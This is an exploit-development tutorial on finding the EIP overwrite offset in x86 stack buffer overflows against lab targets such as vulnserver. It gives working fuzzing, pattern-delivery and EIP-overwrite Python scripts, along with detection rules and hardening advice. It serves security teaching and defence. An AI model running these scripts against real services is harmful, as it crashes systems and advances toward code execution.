Finding the EIP Offset: Pattern Creation and Cyclic Patterns
Objective: Understand how to determine the exact EIP overwrite offset in a classic x86 stack-based buffer overflow by sending a cyclic (De Bruijn-derived) pattern, reading the value loaded into EIP at crash time, and calculating the precise byte distance from the buffer’s start to the saved return address — a repeatable, tool-agnostic workflow for authorized lab use.
Contents
- 1 1. Prerequisites and Lab Setup
- 2 2. The x86 Stack Frame: Why EIP Is the Target
- 3 3. From Fuzzing to Approximate Crash Size
- 4 4. The Mathematics of Cyclic Patterns
- 5 5. Generating the Pattern: Three Tool Paths
- 6 6. Sending the Pattern and Capturing the EIP Value
- 7 7. Calculating the Exact Offset
- 8 8. Verifying EIP Control
- 9 9. Common Pitfalls and Edge Cases
- 10 10. Common Attacker Techniques
- 11 11. Defensive Strategies and Detection
- 12 12. Tools for Offset Analysis
- 13 13. MITRE ATT&CK Mapping
- 14 Summary
- 15 Related Tutorials
- 16 References
1. Prerequisites and Lab Setup
This workflow assumes an isolated, authorized lab VM — never a production host. The classic offset-finding exercise targets a purpose-built vulnerable service such as vulnserver.exe or brainpan.exe, attached to a debugger.
You will need:
| Component | Role |
|---|---|
| Immunity Debugger | Attach to the target process and read register state at crash time. |
mona.py | Pattern generation and offset search inside Immunity. |
| Kali + Metasploit | msf-pattern_create / msf-pattern_offset wrappers. |
| Python 3 (+ pwntools) | Scripted fuzzing, pattern delivery, and cyclic() math. |
Attach Immunity to the running service (File → Attach), press F9 to resume, then drive input from your Python script across the network. Configure mona‘s working folder first:
!mona config -set workingfolder c:\mona\%p2. The x86 Stack Frame: Why EIP Is the Target
EIP (Extended Instruction Pointer) is the 32-bit register holding the address of the next instruction. On function return, the ret instruction pops the saved return address off the stack into EIP. If you can overwrite that saved value, you control where execution flows next.
On a standard MSVC/GCC x86 cdecl frame, the layout is:
[ local buffer (N bytes) ] <- lower address, ESP near here on entry
[ saved EBP (4 bytes) ]
[ saved EIP (4 bytes) ] <- overwrite target
[ function arguments ] <- higher addressThe saved EIP sits above the saved EBP in the stack image. The offset is the byte distance from byte 0 of your input buffer to the first byte of saved EIP. ESP matters too: after ret, ESP advances past the popped return address and typically points directly into your attacker-controlled buffer region — the basis for later JMP ESP stages.

3. From Fuzzing to Approximate Crash Size
The prior stage — fuzzing — delivers progressively larger buffers of A bytes (\x41) until the service dies. When the debugger shows EIP = 41414141, the saved return address has been fully overwritten with As. That confirms EIP control but tells you nothing about where in the buffer EIP lands.
import socket, time
ip, port = "192.168.56.10", 9999
size = 100
while True:
try:
with socket.create_connection((ip, port), timeout=5) as s:
buf = b"A" * size
s.send(b"TRUN /.:/" + buf) # protocol-specific prefix
print(f"[*] Sent {size} bytes")
size += 100
time.sleep(1)
except Exception:
print(f"[!] Crash near {size} bytes")
breakRound the crash size up to a clean number — say 2000 bytes. That value becomes the pattern length.
4. The Mathematics of Cyclic Patterns
EIP = 41414141 is ambiguous because every byte is identical. The fix is a cyclic pattern: a string in which every fixed-length substring appears exactly once. Find which substring landed in EIP, and you have the offset.
| Concept | Detail |
|---|---|
| De Bruijn sequence | A sequence where every possible subsequence of a fixed length appears exactly once. This uniqueness is what makes offset lookup deterministic. |
| Why it works | The overwriting bytes are popped into EIP on ret. Because each 4-byte window is unique, the EIP value maps to exactly one position in the input. |
| Metasploit variant | Metasploit patterns use a different algorithm than true De Bruijn but serve the same purpose, drawing from uppercase letters, lowercase letters, and digits. |
| 3-char uniqueness | pattern_create produces a string where every three-character substring is unique: Aa0Aa1Aa2Aa3Aa4.... |
pwntools cyclic() generates a true De Bruijn sequence; msf-pattern_create uses the alphabet-based approach. Both yield a unique mapping you can query.

5. Generating the Pattern: Three Tool Paths
Generate a pattern equal to (or slightly larger than) the crash size. The -l flag is length; the -q flag (next section) is the query value.
Metasploit (Bash):
# Generate a 2000-byte non-repeating pattern
msf-pattern_create -l 2000
# Or the script directly:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000mona.py (Immunity command bar):
!mona pc 2000pwntools (Python 3):
from pwn import *
pattern = cyclic(2000)
print(pattern)Tip: Generate a pattern 400 bytes larger than the crash buffer to also reveal whether shellcode space exists immediately after the EIP overwrite.
6. Sending the Pattern and Capturing the EIP Value
Replace the A buffer in your fuzzing script with the generated pattern, reattach Immunity, and reproduce the crash.
import socket
pattern = b"Aa0Aa1Aa2Aa3Aa4..." # paste msf-pattern_create -l 2000 output
ip, port = "192.168.56.10", 9999
with socket.create_connection((ip, port)) as s:
s.send(b"TRUN /.:/" + pattern)When the process faults, read the 4-byte EIP value from Immunity’s register panel — for example 6F43396E.
Little-endian note: Values are written to the stack least-significant-byte first. A debugger may display the register as
6F43396E. Tools likepattern_offsethandle endianness internally, so pass the displayed value as-is. A manual ASCII lookup, however, requires reversal:6F43396E→6E39436F→n9Co.
7. Calculating the Exact Offset
Feed the EIP value into any of the three tools. All return the same byte distance.
Metasploit (Bash):
# -q is the query switch; pass the EIP value from the debugger
msf-pattern_offset -l 2000 -q 6F43396E
# Output:
# [*] Exact match at offset 1978mona.py (Immunity): findmsp searches every register and the stack against the pattern.
!mona findmsp -distance 2000Read the log line:
EIP contains normal pattern : ... (offset 1978)(!mona po 6F43396E performs the same lookup by hex value.)
pwntools (Python 3): cyclic_find accepts the packed 4-byte value.
from pwn import *
offset = cyclic_find(p32(0x6161616c)) # value read from EIP
print(offset) # -> integer byte offsetgdb-peda‘s pattern_search reports all three at once on Linux targets — e.g. EIP+0 found at offset: 1040 and [ESP] --> offset 1044 — useful for spotting where ESP lands relative to EIP.
8. Verifying EIP Control
Never trust a calculated offset blindly. Confirm it by overwriting EIP with a known marker. Set payload to empty and retn to "BBBB":
import socket
prefix = b"TRUN /.:/"
offset = 1978
overflow = b"A" * offset
retn = b"BBBB" # 0x42424242
payload = b"" # no payload yet — verification only
buf = prefix + overflow + retn + payload
with socket.create_connection(("192.168.56.10", 9999)) as s:
s.send(buf)Reload the app in Immunity and re-send. If the offset is correct, EIP shows 42424242 — the hex of “BBBB”. You now control execution flow exactly. Confirm ESP also points into your buffer; that location holds the bytes that follow retn and becomes your future code-redirect landing zone.
The conceptual stack image after the overwrite:
[ AAAA AAAA ... AAAA ] offset bytes filling buffer + saved EBP
[ BBBB ] saved EIP = 0x42424242 (controlled)
[ CCCC ... ] ESP region (future shellcode space)
9. Common Pitfalls and Edge Cases
- Pattern shorter than the real offset: EIP holds bytes from beyond your pattern; the offset tool returns no match. Regenerate longer.
- Bad characters: Bytes like
\x00,\x0a,\x0dcan truncate or corrupt the pattern mid-stream, shifting EIP unpredictably. Bad-char analysis is a separate stage. - Modern mitigations: ASLR and DEP/NX invalidate the naive EIP→ESP→shellcode chain on hardened targets. The offset still exists, but exploitation requires bypasses (covered in later tutorials).
- SEH-based overflows: When the buffer overruns the Structured Exception Handler instead of the saved return address, EIP may not show pattern bytes directly —
!mona findmspwill instead report the offset to the SEH/nSEH records.
10. Common Attacker Techniques
Offset discovery is a development sub-step that feeds the techniques below.
| Technique | Description |
|---|---|
| Stack buffer overflow | Overrun a fixed local buffer to overwrite the saved return address. |
| Cyclic pattern offset finding | Deterministically locate the EIP overwrite distance, as taught here. |
EIP redirection via JMP ESP | Once the offset is known, replace retn with the address of a JMP/CALL ESP gadget. |
| SEH overwrite | Variant overflow that hijacks the exception handler chain instead of ret. |
11. Defensive Strategies and Detection
Detection splits into two contexts: catching exploitation attempts against a service, and catching the crash-loop behaviour of fuzzing/pattern delivery.
Crash and process telemetry:
- Application Error — Event ID 1000 (Application log): logged on
0xC0000005(Access Violation) when EIP corruption kills the process; the faulting address is the pattern value (e.g.0x41307241). - Windows Error Reporting — Event ID 1001: WER bucket data, faulting instruction pointer, and dump path for post-crash forensics.
- Sysmon Event ID 3 (Network Connection): repeated high-rate TCP connections to a single service port during fuzzing and pattern delivery are anomalous — watch
DestinationPortandSourceIp. - Sysmon Event ID 1 (Process Create): child processes spawned if the overflow reaches code execution — inspect
CommandLine,ParentImage,IntegrityLevel.
ETW providers: Microsoft-Windows-WER-SystemErrorReporting emits access-violation crash events; Microsoft-Windows-Kernel-Process reveals abnormal crash-and-restart loops via process start/stop events. Forward both to a SIEM.
A repeated-crash detection sketch (illustrative):
title: Repeated Application Crash Loop (Possible Buffer Overflow Fuzzing)
logsource:
product: windows
service: application
detection:
selection:
EventID: 1000
ExceptionCode: '0xc0000005' # Access Violation
timeframe: 1m
condition: selection | count() > 5 # repeated crashes = fuzzing indicator
level: highHardening checklist (raises the bar from “find the bug” to “bypass every mitigation”):
- Compile with
/GSstack security cookies — a mismatch triggers__security_check_cookie()and terminates beforeret. - Enable DEP/NX system-wide:
bcdedit /set nx AlwaysOn. - Enable ASLR:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages = 1. - Compile with Control Flow Guard:
/guard:cf. - Link with SafeSEH (
/SAFESEH) to block SEH overwrites on x86. - Replace unbounded
strcpy,gets,scanf("%s", ...)withstrcpy_s,strncpy_s,gets_s. - Run Application Verifier with heap and stack checks during development.
These map to MITRE mitigation M1050 — Exploit Protection.
12. Tools for Offset Analysis
| Tool | Description | Link |
|---|---|---|
msf-pattern_create / pattern_create.rb | Generate a non-repeating pattern of length -l. | metasploit.com |
msf-pattern_offset / pattern_offset.rb | Query offset with -q <EIP_HEX>. | metasploit.com |
| mona.py | !mona pc, !mona findmsp, !mona po inside Immunity. | github.com |
| Immunity Debugger | Attach, reproduce crash, read EIP/ESP. | immunityinc.com |
| pwntools | cyclic() / cyclic_find() De Bruijn math. | github.com |
| GDB + PEDA | pattern_search reports EBP/EIP/ESP offsets. | github.com |
13. MITRE ATT&CK Mapping
Offset finding is a pre-exploitation development sub-step with no dedicated technique ID; it supports the techniques below.
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash telemetry (Event ID 1000), anomalous child processes (Sysmon ID 1). |
| Exploitation for Privilege Escalation | T1068 | Access-violation crashes in privileged services; WER buckets. |
| Exploit Public-Facing Application | T1190 | High-rate TCP to a service port (Sysmon ID 3); crash loops. |
| Exploitation for Defense Evasion | T1211 | Memory-corruption indicators; EDR memory hooks. |
| Exploit Protection (Mitigation) | M1050 | DEP, ASLR, CFG, /GS, SafeSEH. |
Summary
- The EIP offset is the exact byte distance from your buffer’s start to the saved return address — and a cyclic pattern finds it deterministically.
- A De Bruijn / Metasploit pattern makes every fixed-length window unique, so the value popped into EIP maps to a single position.
- Generate with
msf-pattern_create,!mona pc, orcyclic(); resolve withmsf-pattern_offset -q,!mona findmsp, orcyclic_find(). - Verify by overwriting EIP with
"BBBB"and confirmingEIP = 42424242; remember little-endian display order. - Defenders catch the activity via Event ID 1000 (
0xC0000005) crash loops and Sysmon Event ID 3 connection floods; M1050 controls (DEP, ASLR, CFG,/GS) raise the exploitation bar dramatically.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- Metasploit Unleashed: Writing an Exploit (pattern_create & pattern_offset)
- pwnlib.util.cyclic — Generation of Unique Sequences — pwntools 4.15.0 Documentation
- CAPEC-100: Overflow Buffers (Version 3.9) — MITRE CAPEC
- Exploitation for Client Execution, Technique T1203 — MITRE ATT&CK
- dostackbufferoverflowgood Tutorial (EIP Offset via Cyclic Pattern) — GitHub/justinsteven
- pwnlib.elf.corefile — Core Files (cyclic + EIP offset automation) — pwntools 4.15.0 Documentation
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.